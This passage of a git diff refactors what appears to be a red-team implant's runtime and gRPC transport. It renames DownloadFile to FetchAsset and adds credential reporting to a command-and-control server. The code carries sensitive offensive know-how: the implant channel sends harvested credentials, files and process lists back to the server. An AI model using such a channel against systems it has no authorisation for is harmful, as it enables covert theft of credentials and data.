crypto::CryptoLibrary, file::FileLibrary, pivot::PivotLibrary, + process::ProcessLibrary, report::ReportLibrary, runtime::messages, runtime::messages::Message, + sys::SysLibrary, time::TimeLibrary, }; use anyhow::{Context, Error, Result}; use chrono::Utc; +use pb::eldritch::{Credential, File, ProcessList, Tome}; use prost_types::Timestamp; use starlark::{ collections::SmallMap, @@ -76,7 +73,7 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { // Report evaluation errors match env.send(Message::ReportError(messages::ReportError { id, - error: err, + error: err.to_string(), exec_started_at: None, exec_finished_at: None, })) { @@ -223,6 +220,30 @@ impl Runtime { Ok(module) } + /* + * Collects the currently available messages from the tome. + */ + pub fn collect(&self) -> Vec { + aggregate(drain(&self.rx)) + } + + /* + * Collect and dispatch all of the currently available messages from the tome. + * This method will block until all currently available messages have been dispatched. + */ + pub async fn collect_and_dispatch(&self, transport: &mut impl Transport) { + for msg in self.collect() { + // let mut t = transport.clone(); + // tokio::spawn(async move { + msg.dispatch(transport).await; + // }); + } + // while let Some(result) = futures.join_next().await { + // #[cfg(debug_assertions)] + // log::debug!("finished message dispatch") + // } + } + /* * Returns true if the tome has completed execution, false otherwise. */ diff --git a/implants/lib/eldritch/src/runtime/messages/download_file.rs b/implants/lib/eldritch/src/runtime/messages/download_file.rs deleted file mode 100644 index 47c3e4288..000000000 --- a/implants/lib/eldritch/src/runtime/messages/download_file.rs +++ /dev/null @@ -1,13 +0,0 @@ -use super::{Dispatcher, Transport}; -use anyhow::Result; - -pub struct DownloadFile { - name: String, -} - -impl Dispatcher for DownloadFile { - async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { - println!("TODO"); - Ok(()) - } -} diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs new file mode 100644 index 000000000..356dbe59c --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs @@ -0,0 +1,18 @@ +use super::Dispatcher; +use anyhow::{Context, Result}; +use pb::c2::{FetchAssetRequest, FetchAssetResponse}; +use std::sync::mpsc::Sender; +use transport::Transport; + +#[derive(Clone)] +pub struct FetchAsset { + pub(crate) req: FetchAssetRequest, + pub(crate) tx: Sender, +} + +impl Dispatcher for FetchAsset { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport.fetch_asset(self.req, self.tx).await; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs index 80529c4b5..1797679a9 100644 --- a/implants/lib/eldritch/src/runtime/messages/mod.rs +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -1,39 +1,48 @@ -mod download_file; +mod fetch_asset; +mod report_credential; mod report_error; mod report_file; mod report_process_list; mod report_text; -mod transport; -use anyhow::{Error, Result}; - -pub use download_file::DownloadFile; +pub use fetch_asset::FetchAsset; +pub use report_credential::ReportCredential; pub use report_error::ReportError; pub use report_file::ReportFile; pub use report_process_list::ReportProcessList; pub use report_text::ReportText; pub use transport::Transport; +use anyhow::{Error, Result}; +use derive_more::From; + pub trait Dispatcher { async fn dispatch(self, transport: &mut impl Transport) -> Result<()>; } +#[derive(From, Clone)] pub enum Message { - ReportText(ReportText), + FetchAsset(FetchAsset), + ReportCredential(ReportCredential), ReportError(ReportError), - ReportProcessList(ReportProcessList), ReportFile(ReportFile), - DownloadFile(DownloadFile), + ReportProcessList(ReportProcessList), + ReportText(ReportText), } impl Dispatcher for Message { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { match self { - Self::ReportText(msg) => msg.dispatch(transport).await, + Self::FetchAsset(msg) => msg.dispatch(transport).await, + Self::ReportCredential(msg) => msg.dispatch(transport).await, Self::ReportError(msg) => msg.dispatch(transport).await, - Self::ReportProcessList(msg) => msg.dispatch(transport).await, Self::ReportFile(msg) => msg.dispatch(transport).await, - Self::DownloadFile(msg) => msg.dispatch(transport).await, + Self::ReportProcessList(msg) => msg.dispatch(transport).await, + Self::ReportText(msg) => msg.dispatch(transport).await, } } } + +pub(crate) fn aggregate(messages: Vec) -> Vec { + messages +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_credential.rs b/implants/lib/eldritch/src/runtime/messages/report_credential.rs new file mode 100644 index 000000000..6ba02c760 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_credential.rs @@ -0,0 +1,15 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use pb::{c2::ReportCredentialRequest, eldritch::Credential}; + +#[derive(Clone)] +pub struct ReportCredential { + pub(crate) req: ReportCredentialRequest, +} + +impl Dispatcher for ReportCredential { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport.report_credential(self.req).await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs index 33bf36fc8..a34fa00e7 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_error.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -1,11 +1,12 @@ use super::{Dispatcher, Transport}; use anyhow::{Error, Result}; -use api::pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; +use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; use prost_types::Timestamp; +#[derive(Clone)] pub struct ReportError { pub(crate) id: i64, - pub(crate) error: Error, + pub error: String, pub(crate) exec_started_at: Option, pub(crate) exec_finished_at: Option, } @@ -19,9 +20,7 @@ impl Dispatcher for ReportError { output: String::from(""), exec_started_at: self.exec_started_at, exec_finished_at: self.exec_finished_at, - error: Some(TaskError { - msg: self.error.to_string(), - }), + error: Some(TaskError { msg: self.error }), }), }) .await?; diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index 3bf84048b..eaa27db68 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -1,7 +1,8 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use api::pb::c2::ReportProcessListRequest; +use pb::c2::ReportProcessListRequest; +#[derive(Clone)] pub struct ReportFile { id: i64, path: String, diff --git a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs index 08834804f..a656e4b70 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs @@ -1,10 +1,11 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use api::pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; +use pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; +#[derive(Clone)] pub struct ReportProcessList { - id: i64, - list: ProcessList, + pub(crate) id: i64, + pub(crate) list: ProcessList, } impl Dispatcher for ReportProcessList { diff --git a/implants/lib/eldritch/src/runtime/messages/report_text.rs b/implants/lib/eldritch/src/runtime/messages/report_text.rs index d0bbee2b3..9073b1bfc 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_text.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_text.rs @@ -1,8 +1,9 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use api::pb::c2::{ReportTaskOutputRequest, TaskOutput}; +use pb::c2::{ReportTaskOutputRequest, TaskOutput}; use prost_types::Timestamp; +#[derive(Clone)] pub struct ReportText { pub(crate) id: i64, pub(crate) text: String, @@ -10,6 +11,12 @@ pub struct ReportText { pub(crate) exec_finished_at: Option, } +impl ReportText { + pub fn text(&self) -> String { + self.text.clone() + } +} + impl Dispatcher for ReportText { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { transport diff --git a/implants/lib/eldritch/src/runtime/messages/transport.rs b/implants/lib/eldritch/src/runtime/messages/transport.rs deleted file mode 100644 index 0ab9a0735..000000000 --- a/implants/lib/eldritch/src/runtime/messages/transport.rs +++ /dev/null @@ -1,35 +0,0 @@ -use anyhow::Result; -use api::pb::c2::{ - DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest, ReportCredentialResponse, - ReportFileRequest, ReportFileResponse, ReportProcessListRequest, ReportProcessListResponse, - ReportTaskOutputRequest, ReportTaskOutputResponse, -}; -use std::sync::mpsc::{Receiver, Sender}; - -pub trait Transport { - async fn download_file( - &mut self, - request: DownloadFileRequest, - sender: Sender, - ) -> Result<()>; - - async fn report_credential( - &mut self, - request: ReportCredentialRequest, - ) -> Result; - - async fn report_file( - &mut self, - request: Receiver, - ) -> Result; - - async fn report_process_list( - &mut self, - request: ReportProcessListRequest, - ) -> Result; - - async fn report_task_output( - &mut self, - request: ReportTaskOutputRequest, - ) -> Result; -} diff --git a/implants/lib/eldritch/src/runtime/mod.rs b/implants/lib/eldritch/src/runtime/mod.rs index 7f3ffe1e6..7f7cec6db 100644 --- a/implants/lib/eldritch/src/runtime/mod.rs +++ b/implants/lib/eldritch/src/runtime/mod.rs @@ -1,16 +1,17 @@ mod drain; mod environment; mod eval; -mod messages; +pub mod messages; pub use environment::{Environment, FileRequest}; pub use eval::{start, Runtime}; pub use messages::Message; +// pub use messages::{FetchAsset, Message, ReportError, ReportFile, ReportProcessList, ReportText}; #[cfg(test)] mod tests { - use crate::pb::Tome; use anyhow::Error; + use pb::{c2::ReportTaskOutputResponse, eldritch::Tome}; use std::collections::HashMap; use tempfile::NamedTempFile; @@ -20,25 +21,19 @@ mod tests { #[tokio::test] async fn $name() { let tc: TestCase = $value; - let mut runtime = crate::start(tc.tome).await; + + let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - let want_err_str = match tc.want_error { - Some(err) => err.to_string(), - None => "".to_string(), - }; - let err_str = match runtime.collect_errors().pop() { - Some(err) => err.to_string(), - None => "".to_string(), - }; - assert_eq!(want_err_str, err_str); - assert_eq!(tc.want_output, runtime.collect_text().join("")); + // runtime.collect_and_dispatch(mock).await; + // TODO } )* } } struct TestCase { + pub id: i64, pub tome: Tome, pub want_output: String, pub want_error: Option, @@ -46,6 +41,7 @@ mod tests { runtime_tests! { simple_run: TestCase{ + id: 123, tome: Tome{ eldritch: String::from("print(1+1)"), parameters: HashMap::new(), @@ -55,6 +51,7 @@ mod tests { want_error: None, }, multi_print: TestCase { + id: 123, tome: Tome{ eldritch: String::from(r#"print("oceans "); print("rise, "); print("empires "); print("fall")"#), parameters: HashMap::new(), @@ -64,6 +61,7 @@ mod tests { want_error: None, }, input_params: TestCase{ + id: 123, tome: Tome { eldritch: r#"print(input_params['cmd2'])"#.to_string(), parameters: HashMap::from([ @@ -77,6 +75,7 @@ mod tests { want_error: None, }, file_bindings: TestCase { + id: 123, tome: Tome { eldritch: String::from("print(dir(file))"), parameters: HashMap::new(), @@ -86,6 +85,7 @@ mod tests { want_error: None, }, process_bindings: TestCase { + id: 123, tome: Tome{ eldritch: String::from("print(dir(process))"), parameters: HashMap::new(), @@ -95,6 +95,7 @@ mod tests { want_error: None, }, sys_bindings: TestCase { + id: 123, tome: Tome{ eldritch: String::from("print(dir(sys))"), parameters: HashMap::new(), @@ -104,6 +105,7 @@ mod tests { want_error: None, }, pivot_bindings: TestCase { + id: 123, tome: Tome { eldritch: String::from("print(dir(pivot))"), parameters: HashMap::new(), @@ -113,6 +115,7 @@ mod tests { want_error: None, }, assets_bindings: TestCase { + id: 123, tome: Tome { eldritch: String::from("print(dir(assets))"), parameters: HashMap::new(), @@ -122,6 +125,7 @@ mod tests { want_error: None, }, crypto_bindings: TestCase { + id: 123, tome: Tome { eldritch: String::from("print(dir(crypto))"), parameters: HashMap::new(), @@ -131,6 +135,7 @@ mod tests { want_error: None, }, time_bindings: TestCase { + id: 123, tome: Tome { eldritch: String::from("print(dir(time))"), parameters: HashMap::new(), @@ -150,19 +155,23 @@ mod tests { .replace('\\', "\\\\"); let eldritch = format!(r#"file.download("https://www.google.com/", "{path}"); print("ok")"#); - let mut runtime = crate::start(Tome { - eldritch, - parameters: HashMap::new(), - file_names: Vec::new(), - }) + let mut runtime = crate::start( + 123, + Tome { + eldritch, + parameters: HashMap::new(), + file_names: Vec::new(), + }, + ) .await; runtime.finish().await; - let out = runtime.collect_text(); - let err = runtime.collect_errors().pop(); - assert!(err.is_none(), "failed with err {}", err.unwrap()); - assert!(tmp_file.as_file().metadata().unwrap().len() > 5); - assert_eq!("ok", out.join("")); + // TODO: Stuff + // let out = runtime.collect_text(); + // let err = runtime.collect_errors().pop(); + // assert!(err.is_none(), "failed with err {}", err.unwrap()); + // assert!(tmp_file.as_file().metadata().unwrap().len() > 5); + // assert_eq!("ok", out.join("")); Ok(()) } } diff --git a/implants/lib/api/Cargo.toml b/implants/lib/pb/Cargo.toml similarity index 97% rename from implants/lib/api/Cargo.toml rename to implants/lib/pb/Cargo.toml index cd5adaa84..296c32c5b 100644 --- a/implants/lib/api/Cargo.toml +++ b/implants/lib/pb/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "api" +name = "pb" version = "0.0.5" edition = "2021" diff --git a/implants/lib/api/build.rs b/implants/lib/pb/build.rs similarity index 95% rename from implants/lib/api/build.rs rename to implants/lib/pb/build.rs index 8b17e8da0..e1f40b772 100644 --- a/implants/lib/api/build.rs +++ b/implants/lib/pb/build.rs @@ -33,7 +33,7 @@ fn main() -> Result<(), Box> { match tonic_build::configure() .out_dir("./src/generated") .build_server(false) - .extern_path(".eldritch", "crate::pb::eldritch") + .extern_path(".eldritch", "crate::eldritch") .compile(&["c2.proto"], &["../../../tavern/internal/c2/proto/"]) { Err(err) => { diff --git a/implants/lib/c2/src/generated/c2.rs b/implants/lib/pb/src/generated/c2.rs similarity index 96% rename from implants/lib/c2/src/generated/c2.rs rename to implants/lib/pb/src/generated/c2.rs index b5f977aa7..636f8289d 100644 --- a/implants/lib/c2/src/generated/c2.rs +++ b/implants/lib/pb/src/generated/c2.rs @@ -89,7 +89,7 @@ pub struct Task { #[prost(int64, tag = "1")] pub id: i64, #[prost(message, optional, tag = "2")] - pub tome: ::core::option::Option<::eldritch::pb::Tome>, + pub tome: ::core::option::Option, #[prost(string, tag = "3")] pub quest_name: ::prost::alloc::string::String, } @@ -133,13 +133,13 @@ pub struct ClaimTasksResponse { } #[allow(clippy::derive_partial_eq_without_eq)] #[derive(Clone, PartialEq, ::prost::Message)] -pub struct DownloadFileRequest { +pub struct FetchAssetRequest { #[prost(string, tag = "1")] pub name: ::prost::alloc::string::String, } #[allow(clippy::derive_partial_eq_without_eq)] #[derive(Clone, PartialEq, ::prost::Message)] -pub struct DownloadFileResponse { +pub struct FetchAssetResponse { #[prost(bytes = "vec", tag = "1")] pub chunk: ::prost::alloc::vec::Vec, } @@ -149,7 +149,7 @@ pub struct ReportCredentialRequest { #[prost(int64, tag = "1")] pub task_id: i64, #[prost(message, optional, tag = "2")] - pub credential: ::core::option::Option<::eldritch::pb::Credential>, + pub credential: ::core::option::Option, } #[allow(clippy::derive_partial_eq_without_eq)] #[derive(Clone, PartialEq, ::prost::Message)] @@ -160,7 +160,7 @@ pub struct ReportFileRequest { #[prost(int64, tag = "1")] pub task_id: i64, #[prost(message, optional, tag = "2")] - pub chunk: ::core::option::Option<::eldritch::pb::File>, + pub chunk: ::core::option::Option, } #[allow(clippy::derive_partial_eq_without_eq)] #[derive(Clone, PartialEq, ::prost::Message)] @@ -171,7 +171,7 @@ pub struct ReportProcessListRequest { #[prost(int64, tag = "1")] pub task_id: i64, #[prost(message, optional, tag = "2")] - pub list: ::core::option::Option<::eldritch::pb::ProcessList>, + pub list: ::core::option::Option, } #[allow(clippy::derive_partial_eq_without_eq)] #[derive(Clone, PartialEq, ::prost::Message)] @@ -295,18 +295,18 @@ pub mod c2_client { self.inner.unary(req, path, codec).await } /// - /// Download a file from the server, returning one or more chunks of data. + /// Fetch an asset from the server, returning one or more chunks of data. /// The maximum size of these chunks is determined by the server. /// The server should reply with two headers: /// - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. /// - "file-size": The number of bytes contained by the file. /// /// If no associated file can be found, a NotFound status error is returned. - pub async fn download_file( + pub async fn fetch_asset( &mut self, - request: impl tonic::IntoRequest, + request: impl tonic::IntoRequest, ) -> std::result::Result< - tonic::Response>, + tonic::Response>, tonic::Status, > { self.inner @@ -319,9 +319,9 @@ pub mod c2_client { ) })?; let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/DownloadFile"); + let path = http::uri::PathAndQuery::from_static("/c2.C2/FetchAsset"); let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "DownloadFile")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "FetchAsset")); self.inner.server_streaming(req, path, codec).await } /// diff --git a/implants/lib/api/src/generated/eldritch.rs b/implants/lib/pb/src/generated/eldritch.rs similarity index 100% rename from implants/lib/api/src/generated/eldritch.rs rename to implants/lib/pb/src/generated/eldritch.rs diff --git a/implants/lib/pb/src/lib.rs b/implants/lib/pb/src/lib.rs new file mode 100644 index 000000000..8c8cca6a4 --- /dev/null +++ b/implants/lib/pb/src/lib.rs @@ -0,0 +1,6 @@ +pub mod eldritch { + include!("generated/eldritch.rs"); +} +pub mod c2 { + include!("generated/c2.rs"); +} diff --git a/implants/lib/c2/Cargo.toml b/implants/lib/transport/Cargo.toml similarity index 53% rename from implants/lib/c2/Cargo.toml rename to implants/lib/transport/Cargo.toml index d01e0aa86..9e18ec290 100644 --- a/implants/lib/c2/Cargo.toml +++ b/implants/lib/transport/Cargo.toml @@ -1,22 +1,22 @@ [package] -name = "c2" +name = "transport" version = "0.0.5" edition = "2021" -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[features] +default = ["grpc"] +grpc = [] [dependencies] -eldritch = { workspace = true } +pb = { workspace = true } + log = { workspace = true } tonic = { workspace = true, features = ["tls-roots"] } prost = { workspace = true} prost-types = { workspace = true } +trait-variant = { workspace = true } tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } tokio-stream = { workspace = true } -async-trait = { workspace = true } anyhow = { workspace = true } -[build-dependencies] -eldritch = { workspace = true } -tonic-build = { workspace = true } -which = { workspace = true } +[dev-dependencies] diff --git a/implants/lib/c2/src/grpc.rs b/implants/lib/transport/src/grpc.rs similarity index 84% rename from implants/lib/c2/src/grpc.rs rename to implants/lib/transport/src/grpc.rs index 5c51a4c5a..2e02b1586 100644 --- a/implants/lib/c2/src/grpc.rs +++ b/implants/lib/transport/src/grpc.rs @@ -1,18 +1,18 @@ -use crate::pb::{ - ClaimTasksRequest, ClaimTasksResponse, DownloadFileRequest, DownloadFileResponse, - ReportFileRequest, ReportFileResponse, ReportProcessListRequest, ReportProcessListResponse, - ReportTaskOutputRequest, ReportTaskOutputResponse, -}; -use crate::pb::{ReportCredentialRequest, ReportCredentialResponse}; +use crate::Transport; use anyhow::Result; -use async_trait::async_trait; +use pb::c2::{ + ClaimTasksRequest, ClaimTasksResponse, FetchAssetRequest, FetchAssetResponse, + ReportCredentialRequest, ReportCredentialResponse, ReportFileRequest, ReportFileResponse, + ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, + ReportTaskOutputResponse, +}; use std::sync::mpsc::{Receiver, Sender}; use tonic::codec::ProstCodec; use tonic::GrpcMethod; use tonic::Request; static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks"; -static DOWNLOAD_FILE_PATH: &str = "/c2.C2/DownloadFile"; +static FETCH_ASSET_PATH: &str = "/c2.C2/DownloadFile"; static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential"; static REPORT_FILE_PATH: &str = "/c2.C2/ReportFile"; static REPORT_PROCESS_LIST_PATH: &str = "/c2.C2/ReportProcessList"; @@ -23,25 +23,21 @@ pub struct GRPC { grpc: tonic::client::Grpc, } -#[async_trait] -impl crate::Transport for GRPC { - async fn claim_tasks( - &mut self, - request: crate::pb::ClaimTasksRequest, - ) -> Result { +impl Transport for GRPC { + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result { let resp = self.claim_tasks_impl(request).await?; Ok(resp.into_inner()) } - async fn download_file( + async fn fetch_asset( &mut self, - request: crate::pb::DownloadFileRequest, - tx: Sender, + request: FetchAssetRequest, + tx: Sender, ) -> Result<()> { #[cfg(debug_assertions)] let filename = request.name.clone(); - let resp = self.download_file_impl(request).await?; + let resp = self.fetch_asset_impl(request).await?; let mut stream = resp.into_inner(); tokio::spawn(async move { loop { @@ -79,16 +75,16 @@ impl crate::Transport for GRPC { async fn report_credential( &mut self, - request: crate::pb::ReportCredentialRequest, - ) -> Result { + request: ReportCredentialRequest, + ) -> Result { let resp = self.report_credential_impl(request).await?; Ok(resp.into_inner()) } async fn report_file( &mut self, - request: Receiver, - ) -> Result { + request: Receiver, + ) -> Result { let stream = tokio_stream::iter(request); let tonic_req = Request::new(stream); let resp = self.report_file_impl(tonic_req).await?; @@ -97,16 +93,16 @@ impl crate::Transport for GRPC { async fn report_process_list( &mut self, - request: crate::pb::ReportProcessListRequest, - ) -> Result { + request: ReportProcessListRequest, + ) -> Result { let resp = self.report_process_list_impl(request).await?; Ok(resp.into_inner()) } async fn report_task_output( &mut self, - request: crate::pb::ReportTaskOutputRequest, - ) -> Result { + request: ReportTaskOutputRequest, + ) -> Result { let resp = self.report_task_output_impl(request).await?; Ok(resp.into_inner()) } @@ -124,7 +120,7 @@ impl GRPC { /// Contact the server for new tasks to execute. pub async fn claim_tasks_impl( &mut self, - request: impl tonic::IntoRequest, + request: impl tonic::IntoRequest, ) -> std::result::Result, tonic::Status> { self.grpc.ready().await.map_err(|e| { tonic::Status::new( @@ -150,11 +146,11 @@ impl GRPC { /// - "file-size": The number of bytes contained by the file. /// /// If no associated file can be found, a NotFound status error is returned. - pub async fn download_file_impl( + pub async fn fetch_asset_impl( &mut self, - request: impl tonic::IntoRequest, + request: impl tonic::IntoRequest, ) -> std::result::Result< - tonic::Response>, + tonic::Response>, tonic::Status, > { self.grpc.ready().await.map_err(|e| { @@ -163,9 +159,9 @@ impl GRPC { format!("Service was not ready: {}", e), ) })?; - let codec: ProstCodec = + let codec: ProstCodec = tonic::codec::ProstCodec::default(); - let path = tonic::codegen::http::uri::PathAndQuery::from_static(DOWNLOAD_FILE_PATH); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(FETCH_ASSET_PATH); let mut req = request.into_request(); req.extensions_mut() .insert(GrpcMethod::new("c2.C2", "DownloadFile")); @@ -176,7 +172,7 @@ impl GRPC { /// Report a credential. pub async fn report_credential_impl( &mut self, - request: impl tonic::IntoRequest, + request: impl tonic::IntoRequest, ) -> std::result::Result, tonic::Status> { self.grpc.ready().await.map_err(|e| { tonic::Status::new( diff --git a/implants/lib/c2/src/lib.rs b/implants/lib/transport/src/lib.rs similarity index 60% rename from implants/lib/c2/src/lib.rs rename to implants/lib/transport/src/lib.rs index dbe228b3a..f73e3bb56 100644 --- a/implants/lib/c2/src/lib.rs +++ b/implants/lib/transport/src/lib.rs @@ -1,8 +1,7 @@ -pub mod pb { - include!("generated/c2.rs"); -} - +#[cfg(feature = "grpc")] mod grpc; -mod transport; +#[cfg(feature = "grpc")] pub use grpc::GRPC; + +mod transport; pub use transport::Transport; diff --git a/implants/lib/c2/src/transport.rs b/implants/lib/transport/src/transport.rs similarity index 59% rename from implants/lib/c2/src/transport.rs rename to implants/lib/transport/src/transport.rs index b4f691788..77ae16317 100644 --- a/implants/lib/c2/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -1,36 +1,38 @@ use anyhow::Result; -use async_trait::async_trait; +use pb::c2::{ + ClaimTasksRequest, ClaimTasksResponse, FetchAssetRequest, FetchAssetResponse, + ReportCredentialRequest, ReportCredentialResponse, ReportFileRequest, ReportFileResponse, + ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, + ReportTaskOutputResponse, +}; use std::sync::mpsc::{Receiver, Sender}; -#[async_trait] -pub trait Transport { +#[trait_variant::make(Transport: Send)] +pub trait LocalTransport: Clone { /// /// Contact the server for new tasks to execute. - async fn claim_tasks( - &mut self, - request: crate::pb::ClaimTasksRequest, - ) -> Result; + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; /// - /// Download a file from the server, returning one or more chunks of data. + /// Fetch an asset from the server, returning one or more chunks of data. /// The maximum size of these chunks is determined by the server. /// The server should reply with two headers: /// - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. /// - "file-size": The number of bytes contained by the file. /// /// If no associated file can be found, a NotFound status error is returned. - async fn download_file( + async fn fetch_asset( &mut self, - request: crate::pb::DownloadFileRequest, - sender: Sender, + request: FetchAssetRequest, + sender: Sender, ) -> Result<()>; /// /// Report a credential to the server. async fn report_credential( &mut self, - request: crate::pb::ReportCredentialRequest, - ) -> Result; + request: ReportCredentialRequest, + ) -> Result; /// /// Report a file from the host to the server. @@ -41,21 +43,21 @@ pub trait Transport { /// Any existing files at the provided path for the host are replaced. async fn report_file( &mut self, - request: Receiver, - ) -> Result; + request: Receiver, + ) -> Result; /// /// Report the active list of running processes. This list will replace any previously reported /// lists for the same host. async fn report_process_list( &mut self, - request: crate::pb::ReportProcessListRequest, - ) -> Result; + request: ReportProcessListRequest, + ) -> Result; /// /// Report execution output for a task. async fn report_task_output( &mut self, - request: crate::pb::ReportTaskOutputRequest, - ) -> Result; + request: ReportTaskOutputRequest, + ) -> Result; } diff --git a/tavern/internal/c2/api_download_file.go b/tavern/internal/c2/api_download_file.go index b4a17c262..f1f340f76 100644 --- a/tavern/internal/c2/api_download_file.go +++ b/tavern/internal/c2/api_download_file.go @@ -12,7 +12,7 @@ import ( "realm.pub/tavern/internal/ent/file" ) -func (srv *Server) DownloadFile(req *c2pb.DownloadFileRequest, stream c2pb.C2_DownloadFileServer) error { +func (srv *Server) DownloadFile(req *c2pb.FetchAssetRequest, stream c2pb.C2_DownloadFileServer) error { ctx := stream.Context() // Load File @@ -54,7 +54,7 @@ func (srv *Server) DownloadFile(req *c2pb.DownloadFileRequest, stream c2pb.C2_Do } // Send Chunk - sendErr := stream.Send(&c2pb.DownloadFileResponse{ + sendErr := stream.Send(&c2pb.FetchAssetResponse{ Chunk: chunk, }) if sendErr != nil { diff --git a/tavern/internal/c2/api_download_file_test.go b/tavern/internal/c2/api_download_file_test.go index d2261a4c5..41781286d 100644 --- a/tavern/internal/c2/api_download_file_test.go +++ b/tavern/internal/c2/api_download_file_test.go @@ -29,7 +29,7 @@ func TestDownloadFile(t *testing.T) { name string fileName string fileSize int - req *c2pb.DownloadFileRequest + req *c2pb.FetchAssetRequest wantCode codes.Code } tests := []testCase{ @@ -37,20 +37,20 @@ func TestDownloadFile(t *testing.T) { name: "Small_File", fileName: "small_file", fileSize: 100, - req: &c2pb.DownloadFileRequest{Name: "small_file"}, + req: &c2pb.FetchAssetRequest{Name: "small_file"}, wantCode: codes.OK, }, { name: "Large_File", fileName: "large_file", fileSize: 1024 * 1024 * 10, // 10 MB - req: &c2pb.DownloadFileRequest{Name: "large_file"}, + req: &c2pb.FetchAssetRequest{Name: "large_file"}, wantCode: codes.OK, }, { name: "File Not Found", fileName: "n/a", - req: &c2pb.DownloadFileRequest{Name: "this_file_does_not_exist"}, + req: &c2pb.FetchAssetRequest{Name: "this_file_does_not_exist"}, wantCode: codes.NotFound, }, } diff --git a/tavern/internal/c2/c2pb/c2.pb.go b/tavern/internal/c2/c2pb/c2.pb.go index a39af593d..45f95ccc6 100644 --- a/tavern/internal/c2/c2pb/c2.pb.go +++ b/tavern/internal/c2/c2pb/c2.pb.go @@ -566,7 +566,7 @@ func (x *ClaimTasksResponse) GetTasks() []*Task { return nil } -type DownloadFileRequest struct { +type FetchAssetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -574,8 +574,8 @@ type DownloadFileRequest struct { Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } -func (x *DownloadFileRequest) Reset() { - *x = DownloadFileRequest{} +func (x *FetchAssetRequest) Reset() { + *x = FetchAssetRequest{} if protoimpl.UnsafeEnabled { mi := &file_c2_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -583,13 +583,13 @@ func (x *DownloadFileRequest) Reset() { } } -func (x *DownloadFileRequest) String() string { +func (x *FetchAssetRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DownloadFileRequest) ProtoMessage() {} +func (*FetchAssetRequest) ProtoMessage() {} -func (x *DownloadFileRequest) ProtoReflect() protoreflect.Message { +func (x *FetchAssetRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -601,19 +601,19 @@ func (x *DownloadFileRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DownloadFileRequest.ProtoReflect.Descriptor instead. -func (*DownloadFileRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use FetchAssetRequest.ProtoReflect.Descriptor instead. +func (*FetchAssetRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{8} } -func (x *DownloadFileRequest) GetName() string { +func (x *FetchAssetRequest) GetName() string { if x != nil { return x.Name } return "" } -type DownloadFileResponse struct { +type FetchAssetResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -621,8 +621,8 @@ type DownloadFileResponse struct { Chunk []byte `protobuf:"bytes,1,opt,name=chunk,proto3" json:"chunk,omitempty"` } -func (x *DownloadFileResponse) Reset() { - *x = DownloadFileResponse{} +func (x *FetchAssetResponse) Reset() { + *x = FetchAssetResponse{} if 